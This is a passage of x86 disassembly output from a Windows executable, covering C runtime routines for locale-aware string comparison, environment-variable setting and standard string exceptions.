mov eax, offset dword_438FD4
push eax
push edi
push eax
push ebx
push ebx
call dword_42100C ; CompareStringA
test eax, eax
jz loc_41FAAE
mov dword_469778, 2
loc_41F8B8: ; CODE XREF: sub_41F845+31j
; sub_41F845+4Ej
mov esi, [ebp+arg_C]
cmp esi, ebx
jle short loc_41F8CF
push esi
push [ebp+arg_8]
call sub_41BF95
pop ecx
pop ecx
mov esi, eax
mov [ebp+arg_C], esi
loc_41F8CF: ; CODE XREF: sub_41F845+78j
cmp [ebp+arg_14], ebx
jle short loc_41F8E4
push [ebp+arg_14]
push [ebp+arg_10]
call sub_41BF95
pop ecx
pop ecx
mov [ebp+arg_14], eax
loc_41F8E4: ; CODE XREF: sub_41F845+8Dj
mov eax, dword_469778
cmp eax, 2
jnz short loc_41F909
push [ebp+arg_14]
push [ebp+arg_10]
push esi
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call dword_42100C ; CompareStringA
jmp loc_41FAB0
; ---------------------------------------------------------------------------
loc_41F909: ; CODE XREF: sub_41F845+A7j
cmp eax, edi
jnz loc_41FAAE
cmp [ebp+arg_18], ebx
jnz short loc_41F91E
mov eax, dword_469538
mov [ebp+arg_18], eax
loc_41F91E: ; CODE XREF: sub_41F845+CFj
cmp esi, ebx
jz short loc_41F92B
cmp [ebp+arg_14], ebx
jnz loc_41F9C3
loc_41F92B: ; CODE XREF: sub_41F845+DBj
cmp esi, [ebp+arg_14]
jnz short loc_41F938
loc_41F930: ; CODE XREF: sub_41F845+13Cj
; sub_41F845+16Dj
push 2
loc_41F932: ; CODE XREF: sub_41F845+146j
pop eax
jmp loc_41FAB0
; ---------------------------------------------------------------------------
loc_41F938: ; CODE XREF: sub_41F845+E9j
cmp [ebp+arg_14], edi
jle short loc_41F944
loc_41F93D: ; CODE XREF: sub_41F845+151j
; sub_41F845+159j ...
mov eax, edi
jmp loc_41FAB0
; ---------------------------------------------------------------------------
loc_41F944: ; CODE XREF: sub_41F845+F6j
cmp esi, edi
jg short loc_41F989
lea eax, [ebp+var_3C]
push eax
push [ebp+arg_18]
call dword_421194 ; GetCPInfo
test eax, eax
jz loc_41FAAE
cmp esi, ebx
jle short loc_41F98D
cmp [ebp+var_3C], 2
jb short loc_41F989
lea eax, [ebp+var_36]
cmp [ebp+var_36], bl
jz short loc_41F989
loc_41F96F: ; CODE XREF: sub_41F845+142j
mov dl, [eax+1]
cmp dl, bl
jz short loc_41F989
mov ecx, [ebp+arg_8]
mov cl, [ecx]
cmp cl, [eax]
jb short loc_41F983
cmp cl, dl
jbe short loc_41F930
loc_41F983: ; CODE XREF: sub_41F845+138j
inc eax
inc eax
cmp [eax], bl
jnz short loc_41F96F
loc_41F989: ; CODE XREF: sub_41F845+101j
; sub_41F845+120j ...
push 3
jmp short loc_41F932
; ---------------------------------------------------------------------------
loc_41F98D: ; CODE XREF: sub_41F845+11Aj
cmp [ebp+arg_14], ebx
jle short loc_41F9C3
cmp [ebp+var_3C], 2
jb short loc_41F93D
lea eax, [ebp+var_36]
cmp [ebp+var_36], bl
jz short loc_41F93D
loc_41F9A0: ; CODE XREF: sub_41F845+177j
mov dl, [eax+1]
cmp dl, bl
jz short loc_41F93D
mov ecx, [ebp+arg_10]
mov cl, [ecx]
cmp cl, [eax]
jb short loc_41F9B8
cmp cl, dl
jbe loc_41F930
loc_41F9B8: ; CODE XREF: sub_41F845+169j
inc eax
inc eax
cmp [eax], bl
jnz short loc_41F9A0
jmp loc_41F93D
; ---------------------------------------------------------------------------
loc_41F9C3: ; CODE XREF: sub_41F845+E0j
; sub_41F845+14Bj
push ebx
push ebx
push esi
push [ebp+arg_8]
push 9
push [ebp+arg_18]
call dword_421064 ; MultiByteToWideChar
mov [ebp+var_1C], eax
cmp eax, ebx
jz loc_41FAAE
mov [ebp+var_4], ebx
add eax, eax
add eax, 3
and al, 0FCh
call sub_415D70
mov [ebp+var_18], esp
mov eax, esp
mov [ebp+var_24], eax
or [ebp+var_4], 0FFFFFFFFh
jmp short loc_41FA12
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
xor ebx, ebx
mov [ebp+var_24], ebx
or [ebp+var_4], 0FFFFFFFFh
mov esi, [ebp+arg_C]
push 1
pop edi
loc_41FA12: ; CODE XREF: sub_41F845+1B5j
cmp [ebp+var_24], ebx
jz loc_41FAAE
push [ebp+var_1C]
push [ebp+var_24]
push esi
push [ebp+arg_8]
push edi
push [ebp+arg_18]
mov esi, dword_421064
call esi ; MultiByteToWideChar
test eax, eax
jz short loc_41FAAE
push ebx
push ebx
push [ebp+arg_14]
push [ebp+arg_10]
push 9
push [ebp+arg_18]
call esi ; MultiByteToWideChar
mov esi, eax
mov [ebp+var_20], esi
cmp esi, ebx
jz short loc_41FAAE
mov [ebp+var_4], edi
lea eax, [esi+esi]
add eax, 3
and al, 0FCh
call sub_415D70
mov [ebp+var_18], esp
mov edi, esp
mov [ebp+var_28], edi
or [ebp+var_4], 0FFFFFFFFh
jmp short loc_41FA7D
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
xor ebx, ebx
xor edi, edi
or [ebp+var_4], 0FFFFFFFFh
mov esi, [ebp+var_20]
loc_41FA7D: ; CODE XREF: sub_41F845+224j
cmp edi, ebx
jz short loc_41FAAE
push esi
push edi
push [ebp+arg_14]
push [ebp+arg_10]
push 1
push [ebp+arg_18]
call dword_421064 ; MultiByteToWideChar
test eax, eax
jz short loc_41FAAE
push esi
push edi
push [ebp+var_1C]
push [ebp+var_24]
push [ebp+arg_4]
push [ebp+arg_0]
call dword_421008 ; CompareStringW
jmp short loc_41FAB0
; ---------------------------------------------------------------------------
loc_41FAAE: ; CODE XREF: sub_41F845+63j
; sub_41F845+C6j ...
xor eax, eax
loc_41FAB0: ; CODE XREF: sub_41F845+BFj
; sub_41F845+EEj ...
lea esp, [ebp-4Ch]
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
sub_41F845 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41FAC2 proc near ; CODE XREF: sub_41F7D7+50p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
push edi
xor edi, edi
cmp [ebp+arg_0], edi
jz short loc_41FB26
push 3Dh
push [ebp+arg_0]
call sub_41FD08
mov esi, eax
pop ecx
cmp esi, edi
pop ecx
mov [ebp+var_8], esi
jz short loc_41FB26
cmp [ebp+arg_0], esi
jz short loc_41FB26
mov eax, dword_4694BC
xor ebx, ebx
cmp [esi+1], bl
setz bl
cmp eax, dword_4694C0
jnz short loc_41FB0C
push eax
call sub_41FCA1
pop ecx
mov dword_4694BC, eax
loc_41FB0C: ; CODE XREF: sub_41FAC2+3Cj
cmp eax, edi
jnz short loc_41FB64
cmp [ebp+arg_4], edi
jz short loc_41FB2E
cmp dword_4694C4, edi
jz short loc_41FB2E
call sub_41F7D7
test eax, eax
jz short loc_41FB64
loc_41FB26: ; CODE XREF: sub_41FAC2+Dj
; sub_41FAC2+22j ...
or eax, 0FFFFFFFFh
loc_41FB29: ; CODE XREF: sub_41FAC2+182j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_41FB2E: ; CODE XREF: sub_41FAC2+51j
; sub_41FAC2+59j
cmp ebx, edi
jnz loc_41FC42
push 4
call sub_415DC9
cmp eax, edi
pop ecx
mov dword_4694BC, eax
jz short loc_41FB26
mov [eax], edi
cmp dword_4694C4, edi
jnz short loc_41FB64
push 4
call sub_415DC9
cmp eax, edi
pop ecx
mov dword_4694C4, eax
jz short loc_41FB26
mov [eax], edi
loc_41FB64: ; CODE XREF: sub_41FAC2+4Cj
; sub_41FAC2+62j ...
sub esi, [ebp+arg_0]
mov edi, dword_4694BC
mov [ebp+var_4], edi
push esi
push [ebp+arg_0]
call sub_41FC49
mov esi, eax
pop ecx
test esi, esi
pop ecx
jl short loc_41FBC4
cmp dword ptr [edi], 0
jz short loc_41FBC4
test ebx, ebx
jz short loc_41FBBC
push dword ptr [edi+esi*4]
lea edi, [edi+esi*4]
call sub_415E3D
pop ecx
loc_41FB96: ; CODE XREF: sub_41FAC2+E2j
cmp dword ptr [edi], 0
jz short loc_41FBA6
mov eax, [edi+4]
inc esi
mov [edi], eax
add edi, 4
jmp short loc_41FB96
; ---------------------------------------------------------------------------
loc_41FBA6: ; CODE XREF: sub_41FAC2+D7j
mov eax, esi
shl eax, 2
push eax
push [ebp+var_4]
call sub_4174DF
pop ecx
test eax, eax
pop ecx
jz short loc_41FBF6
jmp short loc_41FBF1
; ---------------------------------------------------------------------------
loc_41FBBC: ; CODE XREF: sub_41FAC2+C6j
mov eax, [ebp+arg_0]
mov [edi+esi*4], eax
jmp short loc_41FBF6
; ---------------------------------------------------------------------------
loc_41FBC4: ; CODE XREF: sub_41FAC2+BDj
; sub_41FAC2+C2j
test ebx, ebx
jnz short loc_41FC42
test esi, esi
jge short loc_41FBCE
neg esi
loc_41FBCE: ; CODE XREF: sub_41FAC2+108j
lea eax, ds:8[esi*4]
push eax
push edi
call sub_4174DF
pop ecx
test eax, eax
pop ecx
jz loc_41FB26
mov ecx, [ebp+arg_0]
mov [eax+esi*4], ecx
and dword ptr [eax+esi*4+4], 0
loc_41FBF1: ; CODE XREF: sub_41FAC2+F8j
mov dword_4694BC, eax
loc_41FBF6: ; CODE XREF: sub_41FAC2+F6j
; sub_41FAC2+100j
cmp [ebp+arg_4], 0
jz short loc_41FC42
push [ebp+arg_0]
call sub_415CF0
inc eax
inc eax
push eax
call sub_415DC9
mov esi, eax
pop ecx
test esi, esi
pop ecx
jz short loc_41FC42
push [ebp+arg_0]
push esi
call sub_415C00
mov eax, esi
pop ecx
sub eax, [ebp+arg_0]
pop ecx
add eax, [ebp+var_8]
and byte ptr [eax], 0
inc eax
neg ebx
sbb ebx, ebx
not ebx
and ebx, eax
push ebx
push esi
call dword_421004 ; SetEnvironmentVariableA
push esi
call sub_415E3D
pop ecx
loc_41FC42: ; CODE XREF: sub_41FAC2+6Ej
; sub_41FAC2+104j ...
xor eax, eax
jmp loc_41FB29
sub_41FAC2 endp
; =============== S U B R O U T I N E =======================================
sub_41FC49 proc near ; CODE XREF: sub_41FAC2+B2p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, dword_4694BC
push edi
mov eax, [esi]
test eax, eax
jz short loc_41FC84
mov edi, [esp+8+arg_4]
loc_41FC5B: ; CODE XREF: sub_41FC49+39j
push edi
push eax
push [esp+10h+arg_0]
call sub_41F798
add esp, 0Ch
test eax, eax
jnz short loc_41FC7A
mov eax, [esi]
mov al, [eax+edi]
cmp al, 3Dh
jz short loc_41FC94
test al, al
jz short loc_41FC94
loc_41FC7A: ; CODE XREF: sub_41FC49+22j
mov eax, [esi+4]
add esi, 4
test eax, eax
jnz short loc_41FC5B
loc_41FC84: ; CODE XREF: sub_41FC49+Cj
mov eax, esi
sub eax, dword_4694BC
sar eax, 2
neg eax
loc_41FC91: ; CODE XREF: sub_41FC49+56j
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_41FC94: ; CODE XREF: sub_41FC49+2Bj
; sub_41FC49+2Fj
mov eax, esi
sub eax, dword_4694BC
sar eax, 2
jmp short loc_41FC91
sub_41FC49 endp
; =============== S U B R O U T I N E =======================================
sub_41FCA1 proc near ; CODE XREF: sub_41FAC2+3Fp
arg_0 = dword ptr 4
push edi
mov edi, [esp+4+arg_0]
xor ecx, ecx
test edi, edi
jnz short loc_41FCB0
xor eax, eax
pop edi
retn
; ---------------------------------------------------------------------------
loc_41FCB0: ; CODE XREF: sub_41FCA1+9j
cmp dword ptr [edi], 0
lea eax, [edi+4]
jz short loc_41FCC2
loc_41FCB8: ; CODE XREF: sub_41FCA1+1Fj
mov edx, [eax]
inc ecx
add eax, 4
test edx, edx
jnz short loc_41FCB8
loc_41FCC2: ; CODE XREF: sub_41FCA1+15j
push ebx
push ebp
lea eax, ds:4[ecx*4]
push esi
push eax
call sub_415DC9
mov esi, eax
pop ecx
test esi, esi
mov ebp, esi
jnz short loc_41FCE3
push 9
call sub_417BEE
pop ecx
loc_41FCE3: ; CODE XREF: sub_41FCA1+38j
mov eax, [edi]
mov ebx, edi
loc_41FCE7: ; CODE XREF: sub_41FCA1+5Bj
test eax, eax
jz short loc_41FCFE
push eax
add ebx, 4
call sub_41FD7B
mov [esi], eax
mov eax, [ebx]
pop ecx
add esi, 4
jmp short loc_41FCE7
; ---------------------------------------------------------------------------
loc_41FCFE: ; CODE XREF: sub_41FCA1+48j
and dword ptr [esi], 0
mov eax, ebp
pop esi
pop ebp
pop ebx
pop edi
retn
sub_41FCA1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41FD08 proc near ; CODE XREF: sub_41FAC2+14p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
cmp dword_46A8DC, 0
jnz short loc_41FD23
push [ebp+arg_4]
push [ebp+arg_0]
call sub_417080
pop ecx
pop ecx
pop ebp
retn
; ---------------------------------------------------------------------------
loc_41FD23: ; CODE XREF: sub_41FD08+Aj
mov ecx, [ebp+arg_0]
loc_41FD26: ; CODE XREF: sub_41FD08+56j
movzx ax, byte ptr [ecx]
test ax, ax
jz short loc_41FD69
movzx edx, al
test byte_46A9E1[edx], 4
jz short loc_41FD55
mov dl, [ecx+1]
inc ecx
test dl, dl
jz short loc_41FD60
movzx eax, ax
movzx edx, dl
shl eax, 8
or eax, edx
cmp [ebp+arg_4], eax
jz short loc_41FD64
jmp short loc_41FD5D
; ---------------------------------------------------------------------------
loc_41FD55: ; CODE XREF: sub_41FD08+31j
movzx edx, ax
cmp [ebp+arg_4], edx
jz short loc_41FD69
loc_41FD5D: ; CODE XREF: sub_41FD08+4Bj
inc ecx
jmp short loc_41FD26
; ---------------------------------------------------------------------------
loc_41FD60: ; CODE XREF: sub_41FD08+39j
xor eax, eax
pop ebp
retn
; ---------------------------------------------------------------------------
loc_41FD64: ; CODE XREF: sub_41FD08+49j
lea eax, [ecx-1]
pop ebp
retn
; ---------------------------------------------------------------------------
loc_41FD69: ; CODE XREF: sub_41FD08+25j
; sub_41FD08+53j
movzx edx, ax
mov eax, [ebp+arg_4]
sub eax, edx
neg eax
sbb eax, eax
not eax
and eax, ecx
pop ebp
retn
sub_41FD08 endp
; =============== S U B R O U T I N E =======================================
sub_41FD7B proc near ; CODE XREF: sub_4099AA+21p
; sub_41FCA1+4Ep
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
test esi, esi
jz short loc_41FDA2
push esi
call sub_415CF0
inc eax
push eax
call sub_415DC9
pop ecx
test eax, eax
pop ecx
jz short loc_41FDA2
push esi
push eax
call sub_415C00
pop ecx
pop ecx
pop esi
retn
; ---------------------------------------------------------------------------
loc_41FDA2: ; CODE XREF: sub_41FD7B+7j
; sub_41FD7B+1Aj
xor eax, eax
pop esi
retn
sub_41FD7B endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41FDB0 proc near ; CODE XREF: sub_404B1E+15p
; sub_404B77+15p ...
mov eax, offset loc_4202A0
call sub_416458
sub esp, 30h
mov al, [ebp-0Dh]
push esi
push 0
lea ecx, [ebp-20h]
mov [ebp-20h], al
call sub_404D21
mov esi, offset aStringTooLong ; "string too long"
push esi
call sub_415CF0
pop ecx
push eax
push esi
lea ecx, [ebp-20h]
call sub_404D5D
and dword ptr [ebp-4], 0
lea eax, [ebp-20h]
push eax
lea ecx, [ebp-3Ch]
call sub_41FE0A
lea eax, [ebp-3Ch]
push offset dword_421F80
push eax
mov dword ptr [ebp-3Ch], offset off_421C3C
call sub_420209
pop esi
sub_41FDB0 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_41FE0A proc near ; CODE XREF: sub_41FDB0+3Fp
; sub_41FFDC+3Fp
mov eax, offset loc_4202B4
call sub_416458
push ecx
push ecx
push ebx
push esi
lea eax, [ebp-10h]
push edi
mov esi, ecx
push eax
mov [ebp-14h], esi
mov dword ptr [ebp-10h], offset byte_438FBC
call sub_42012E
mov ebx, [ebp+8]
and dword ptr [ebp-4], 0
lea edi, [esi+0Ch]
push 0
mov al, [ebx]
mov ecx, edi
mov [edi], al
call sub_404D21
push dword_421248
mov ecx, edi
push 0
push ebx
call sub_404BCE
mov ecx, [ebp-0Ch]
mov dword ptr [esi], offset off_421C5C
mov eax, esi
pop edi
pop esi
pop ebx
mov large fs:0, ecx
leave
retn 4
sub_41FE0A endp
; =============== S U B R O U T I N E =======================================
sub_41FE6E proc near ; DATA XREF: .nsp0:00421C40o
; .nsp0:00421C60o ...
mov eax, [ecx+10h]
test eax, eax
jnz short locret_41FE7A
mov eax, offset dword_421258
locret_41FE7A: ; CODE XREF: sub_41FE6E+5j
retn
sub_41FE6E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41FE7B proc near ; DATA XREF: .nsp0:00421C64o
var_1C = byte ptr -1Ch
push ebp
mov ebp, esp
sub esp, 1Ch
push ecx
lea ecx, [ebp+var_1C]
call sub_41FEF1
lea eax, [ebp+var_1C]
push offset dword_421FF0
push eax
call sub_420209
sub_41FE7B endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_41FE98 proc near ; CODE XREF: .nsp0:0041FED8p
; DATA XREF: .nsp0:00421FF4o
mov eax, offset loc_4202C8
call sub_416458
push ecx
push esi
mov esi, ecx
mov [ebp-10h], esi
mov dword ptr [esi], offset off_421C5C
and dword ptr [ebp-4], 0
push 1
lea ecx, [esi+0Ch]
call sub_404D21
or dword ptr [ebp-4], 0FFFFFFFFh
mov ecx, esi
call sub_4201B5
mov ecx, [ebp-0Ch]
pop esi
mov large fs:0, ecx
leave
retn
sub_41FE98 endp
; ---------------------------------------------------------------------------
loc_41FED5: ; DATA XREF: .nsp0:off_421C5Co
push esi
mov esi, ecx
call sub_41FE98
test byte ptr [esp+8], 1
jz short loc_41FEEB
push esi
call sub_416477
pop ecx
loc_41FEEB: ; CODE XREF: .nsp0:0041FEE2j
mov eax, esi
pop esi
retn 4
; =============== S U B R O U T I N E =======================================
sub_41FEF1 proc near ; CODE XREF: sub_41FE7B+Ap
; sub_41FFC4+7p ...
mov eax, offset loc_4202DC
call sub_416458
push ecx
push ebx
mov ebx, [ebp+8]
push esi
push edi
mov esi, ecx
push ebx
mov [ebp-10h], esi
call sub_42016B
mov al, [ebx+0Ch]
and dword ptr [ebp-4], 0
add ebx, 0Ch
lea edi, [esi+0Ch]
push 0
mov ecx, edi
mov [edi], al
call sub_404D21
push dword_421248
mov ecx, edi
push 0
push ebx
call sub_404BCE
mov ecx, [ebp-0Ch]
mov dword ptr [esi], offset off_421C5C
mov eax, esi
pop edi
pop esi
pop ebx
mov large fs:0, ecx
leave
retn 4
sub_41FEF1 endp
; =============== S U B R O U T I N E =======================================
sub_41FF4E proc near ; CODE XREF: sub_41FF8B+20p
; DATA XREF: .nsp0:00421F84o
mov eax, offset loc_4202F0
call sub_416458
push ecx
push esi
mov esi, ecx
mov [ebp-10h], esi
mov dword ptr [esi], offset off_421C5C
and dword ptr [ebp-4], 0
push 1
lea ecx, [esi+0Ch]
call sub_404D21
or dword ptr [ebp-4], 0FFFFFFFFh
mov ecx, esi
call sub_4201B5
mov ecx, [ebp-0Ch]
pop esi
mov large fs:0, ecx
leave
retn
sub_41FF4E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41FF8B proc near ; DATA XREF: .nsp0:00421C44o
var_1C = byte ptr -1Ch
var_18 = byte ptr -18h
push ebp
mov ebp, esp
sub esp, 1Ch
push ecx
lea ecx, [ebp+var_1C]
call sub_41FFC4
lea eax, [ebp+var_1C]
push offset dword_421F80
push eax
call sub_420209
loc_41FFA8: ; DATA XREF: .nsp0:off_421C3Co
push esi
mov esi, ecx
call sub_41FF4E
test [esp+20h+var_18], 1
jz short loc_41FFBE
push esi
call sub_416477
pop ecx
loc_41FFBE: ; CODE XREF: sub_41FF8B+2Aj
mov eax, esi
pop esi
retn 4
sub_41FF8B endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_41FFC4 proc near ; CODE XREF: sub_41FF8B+Ap
arg_0 = dword ptr 4
push esi
mov esi, ecx
push [esp+4+arg_0]
call sub_41FEF1
mov dword ptr [esi], offset off_421C3C
mov eax, esi
pop esi
retn 4
sub_41FFC4 endp
; =============== S U B R O U T I N E =======================================
sub_41FFDC proc near ; CODE XREF: sub_404BCE+13p
; sub_404D92+Ep
mov eax, offset loc_420304
call sub_416458
sub esp, 30h
mov al, [ebp-0Dh]
push esi
push 0
lea ecx, [ebp-20h]
mov [ebp-20h], al
call sub_404D21
mov esi, offset aInvalidStringP ; "invalid string position"
push esi
call sub_415CF0
pop ecx
push eax
push esi
lea ecx, [ebp-20h]
call sub_404D5D
and dword ptr [ebp-4], 0
lea eax, [ebp-20h]
push eax
lea ecx, [ebp-3Ch]
call sub_41FE0A
lea eax, [ebp-3Ch]
push offset dword_4220A8
push eax
mov dword ptr [ebp-3Ch], offset off_421C6C
call sub_420209
pop esi
sub_41FFDC endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_420036 proc near ; CODE XREF: sub_420073+20p
; DATA XREF: .nsp0:004220ACo
mov eax, offset loc_420318
call sub_416458
push ecx
push esi
mov esi, ecx
mov [ebp-10h], esi
mov dword ptr [esi], offset off_421C5C
and dword ptr [ebp-4], 0
push 1
lea ecx, [esi+0Ch]
call sub_404D21
or dword ptr [ebp-4], 0FFFFFFFFh
mov ecx, esi
call sub_4201B5
mov ecx, [ebp-0Ch]
pop esi
mov large fs:0, ecx
leave
retn
sub_420036 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_420073 proc near ; DATA XREF: .nsp0:00421C74o
var_1C = byte ptr -1Ch
var_18 = byte ptr -18h
push ebp
mov ebp, esp
sub esp, 1Ch
push ecx
lea ecx, [ebp+var_1C]
call sub_4200AC
lea eax, [ebp+var_1C]
push offset dword_4220A8
push eax
call sub_420209
loc_420090: ; DATA XREF: .nsp0:off_421C6Co
push esi
mov esi, ecx
call sub_420036
test [esp+20h+var_18], 1
jz short loc_4200A6
push esi
call sub_416477
pop ecx
loc_4200A6: ; CODE XREF: sub_420073+2Aj
mov eax, esi
pop esi
retn 4
sub_420073 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_4200AC proc near ; CODE XREF: sub_420073+Ap
arg_0 = dword ptr 4
push esi
mov esi, ecx
push [esp+4+arg_0]
call sub_41FEF1
mov dword ptr [esi], offset off_421C6C
mov eax, esi
pop esi
retn 4
sub_4200AC endp
; =============== S U B R O U T I N E =======================================
sub_4200C4 proc near ; DATA XREF: .nsp0:0042300Co
; FUNCTION CHUNK AT 004200FA SIZE 0000000C BYTES
test byte_46977C, 1
jnz short loc_4200D4
or byte_46977C, 1
loc_4200D4: ; CODE XREF: sub_4200C4+7j
call sub_4200EE
test byte_46AB18, 1
jnz short loc_4200E9
or byte_46AB18, 1
loc_4200E9: ; CODE XREF: sub_4200C4+1Cj
jmp loc_4200FA
sub_4200C4 endp
; =============== S U B R O U T I N E =======================================
sub_4200EE proc near ; CODE XREF: sub_4200C4:loc_4200D4p
push offset nullsub_1
call sub_416840
pop ecx
retn
sub_4200EE endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4200C4
loc_4200FA: ; CODE XREF: sub_4200C4:loc_4200E9j
push offset nullsub_1
call sub_416840
pop ecx
retn
; END OF FUNCTION CHUNK FOR sub_4200C4
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_420106 proc near ; CODE XREF: sub_40446E+5Ep
; sub_405409+159p
jmp dword_4211D4
sub_420106 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_42010C proc near ; CODE XREF: sub_4160C4+23p
; sub_416368+13p
jmp dword_421154
sub_42010C endp
; =============== S U B R O U T I N E =======================================
sub_420112 proc near ; DATA XREF: .nsp0:off_421C94o
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_4201B5
test [esp+4+arg_0], 1
jz short loc_420128
push esi
call sub_416477
pop ecx
loc_420128: ; CODE XREF: sub_420112+Dj
mov eax, esi
pop esi
retn 4
sub_420112 endp
; =============== S U B R O U T I N E =======================================
sub_42012E proc near ; CODE XREF: sub_41FE0A+1Fp
arg_0 = dword ptr 4
push esi
push edi
mov edi, [esp+8+arg_0]
mov esi, ecx
mov dword ptr [esi], offset off_421C94
push dword ptr [edi]
call sub_415CF0
inc eax
push eax
call sub_4167C5
pop ecx
mov [esi+4], eax
test eax, eax
pop ecx
jz short loc_42015D
push dword ptr [edi]
push eax
call sub_415C00
pop ecx
pop ecx
loc_42015D: ; CODE XREF: sub_42012E+23j
mov dword ptr [esi+8], 1
mov eax, esi
pop edi
pop esi
retn 4
sub_42012E endp
; =============== S U B R O U T I N E =======================================
sub_42016B proc near ; CODE XREF: sub_41FEF1+17p
arg_0 = dword ptr 4
push esi
push edi
mov edi, [esp+8+arg_0]
mov esi, ecx
mov dword ptr [esi], offset off_421C94
mov eax, [edi+8]
test eax, eax
mov [esi+8], eax
jz short loc_4201A8
push dword ptr [edi+4]
call sub_415CF0
inc eax
push eax
call sub_4167C5
pop ecx
mov [esi+4], eax
test eax, eax
pop ecx
jz short loc_4201AE
push dword ptr [edi+4]
push eax
call sub_415C00
pop ecx
pop ecx
jmp short loc_4201AE
; ---------------------------------------------------------------------------
loc_4201A8: ; CODE XREF: sub_42016B+16j
mov eax, [edi+4]
mov [esi+4], eax
loc_4201AE: ; CODE XREF: sub_42016B+2Ej
; sub_42016B+3Bj
mov eax, esi
pop edi
pop esi
retn 4
sub_42016B endp
; =============== S U B R O U T I N E =======================================
sub_4201B5 proc near ; CODE XREF: sub_41FE98+2Bp
; sub_41FF4E+2Bp ...
cmp dword ptr [ecx+8], 0
mov dword ptr [ecx], offset off_421C94
jz short locret_4201CA
push dword ptr [ecx+4]
call sub_416477
pop ecx
locret_4201CA: ; CODE XREF: sub_4201B5+Aj
retn
sub_4201B5 endp
; ---------------------------------------------------------------------------
mov eax, [ecx+4]
test eax, eax
jnz short locret_4201D7
mov eax, offset aUnknownExcepti ; "Unknown exception"
locret_4201D7: ; CODE XREF: .nsp0:004201D0j
retn
; =============== S U B R O U T I N E =======================================
sub_4201D8 proc near ; CODE XREF: .nsp0:004201F0p
mov dword ptr [ecx], offset off_421CB4
mov ecx, [ecx+4]
test ecx, ecx
jz short locret_4201EC
push ecx
call sub_415E3D
pop ecx
locret_4201EC: ; CODE XREF: sub_4201D8+Bj
retn
sub_4201D8 endp
; ---------------------------------------------------------------------------
loc_4201ED: ; DATA XREF: .nsp0:off_421CB4o
push esi
mov esi, ecx
call sub_4201D8
test byte ptr [esp+8], 1
jz short loc_420203
push esi
call sub_416477
pop ecx
loc_420203: ; CODE XREF: .nsp0:004201FAj
mov eax, esi
pop esi
retn 4
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_420209 proc near ; CODE XREF: sub_41FDB0+54p
; sub_41FE7B+18p ...
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_10 = dword ptr -10h
var_C = byte ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 20h
mov eax, [ebp+arg_0]
push esi
push edi
push 8
pop ecx
mov esi, offset dword_421CB8
lea edi, [ebp+var_20]
rep movsd
mov [ebp+var_8], eax
mov eax, [ebp+arg_4]
mov [ebp+var_4], eax
lea eax, [ebp+var_C]
push eax
push [ebp+var_10]
push [ebp+var_1C]
push [ebp+var_20]
call dword_421184 ; RaiseException
pop edi
pop esi
leave
retn 8
sub_420209 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_420244 proc near ; DATA XREF: .nsp0:00421E84o
; FUNCTION CHUNK AT 00404B16 SIZE 00000008 BYTES
lea ecx, [ebp-38h]
jmp loc_404B16
sub_420244 endp
; ---------------------------------------------------------------------------
mov eax, [ebp-20h]
and eax, 1
test eax, eax
jz locret_420262
mov ecx, [ebp+8]
jmp loc_404B16
; ---------------------------------------------------------------------------
locret_420262: ; CODE XREF: .nsp0:00420254j
retn
; ---------------------------------------------------------------------------
loc_420263: ; DATA XREF: sub_4046AAo
mov eax, offset dword_421E58
jmp loc_416113
; ---------------------------------------------------------------------------
align 10h
lea ecx, [ebp+14h]
jmp loc_404B16
; ---------------------------------------------------------------------------
loc_420278: ; DATA XREF: .nsp0:00421EB4o
lea ecx, [ebp-1Ch]
jmp loc_404B16
; ---------------------------------------------------------------------------
loc_420280: ; DATA XREF: sub_40484Co
mov eax, offset dword_421E88
jmp loc_416113
; ---------------------------------------------------------------------------
align 4
loc_42028C: ; DATA XREF: sub_404DF9o
mov eax, offset dword_421EB8
jmp loc_416113
; ---------------------------------------------------------------------------
align 4
lea ecx, [ebp-20h]
jmp loc_404B16
; ---------------------------------------------------------------------------
loc_4202A0: ; DATA XREF: sub_41FDB0o
mov eax, offset dword_421F90
jmp loc_416113
; ---------------------------------------------------------------------------
align 4
mov ecx, [ebp-14h]
jmp sub_4201B5
; ---------------------------------------------------------------------------
loc_4202B4: ; DATA XREF: sub_41FE0Ao
mov eax, offset dword_421FB8
jmp loc_416113
; ---------------------------------------------------------------------------
align 10h
mov ecx, [ebp-10h]
jmp sub_4201B5
; ---------------------------------------------------------------------------
